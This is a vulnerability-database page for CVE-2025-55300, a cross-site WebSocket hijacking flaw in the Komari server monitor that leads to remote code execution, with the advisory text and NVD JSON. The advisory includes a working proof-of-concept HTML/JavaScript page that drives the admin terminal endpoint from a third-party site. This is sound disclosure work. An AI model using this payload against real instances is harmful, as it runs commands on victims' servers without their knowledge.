cvelistv5 - CVE-2025-55300

CVE-2025-55300 (GCVE-0-2025-55300)

Vulnerability from cvelistv5 – Published: 2025-08-18 17:41 – Updated: 2025-08-18 17:52

Summary

Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.

Severity ?

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/komari-monitor/komari/security…	x_refsource_CONFIRM
	https://github.com/komari-monitor/komari/commit/d…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	komari-monitor	komari	Affected: < 1.0.4-fix1

Show details on NVD website

JSON

To clipboard

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GHSA-Q355-H244-969H

Vulnerability from github – Published: 2025-08-12 00:13 – Updated: 2025-08-12 00:13

Summary

Komari vulnerable to Cross-site WebSocket Hijacking

Details

Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

Login in to your komari instance
Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
Visit this HTML page, you can see your node is executing uptime without your actions

<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Severity ?

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/komari-monitor/komari"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250809073044-53171affcaf0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:13:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser\u0027s cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `\u003ckomari-addr\u003e` and `\u003ctarget-uuid\u003e` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n\u003cpre\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst socket = new WebSocket(\"wss://\u003ckomari-addr\u003e/api/admin/client/\u003ctarget-uuid\u003e/terminal\");\nsocket.addEventListener(\"open\", (event) =\u003e {\n  const binaryBlob = new Blob([\u0027uptime\\n\u0027], { type: \u0027application/octet-stream\u0027 });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) =\u003e {\n  event.data.text().then(x =\u003e {document.querySelector(\"pre\").append(x)});\n});\n\u003c/script\u003e\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.",
  "id": "GHSA-q355-h244-969h",
  "modified": "2025-08-12T00:13:29Z",
  "published": "2025-08-12T00:13:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/komari-monitor/komari"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Komari vulnerable to Cross-site WebSocket Hijacking"
}

FKIE_CVE-2025-55300

Vulnerability from fkie_nvd - Published: 2025-08-18 18:15 - Updated: 2025-08-18 20:16

Severity ?

8.6 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1
	security-advisories@github.com	https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser\u0027s cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1."
    },
    {
      "lang": "es",
      "value": "Komari es una herramienta ligera y autoalojada para la monitorizaci\u00f3n de servidores, dise\u00f1ada para ofrecer una soluci\u00f3n sencilla y eficiente para supervisar el rendimiento del servidor. Antes de la versi\u00f3n 1.0.4-fix1, el actualizador de WebSocket deshabilitaba la comprobaci\u00f3n de origen, lo que permit\u00eda ataques de Cross-Site WebSocket Hijacking (CSWSH) contra usuarios autenticados. Cualquier sitio web de terceros puede enviar solicitudes al endpoint websocket del terminal con las cookies del navegador, lo que provoca la ejecuci\u00f3n remota de c\u00f3digo. Esta vulnerabilidad se corrigi\u00f3 en la versi\u00f3n 1.0.4-fix1."
    }
  ],
  "id": "CVE-2025-55300",
  "lastModified": "2025-08-18T20:16:28.750",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "ACTIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-08-18T18:15:40.250",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-55300 (GCVE-0-2025-55300)

GHSA-Q355-H244-969H

Summary

Details

PoC

Impact

FKIE_CVE-2025-55300

Tags

Sightings

Nomenclature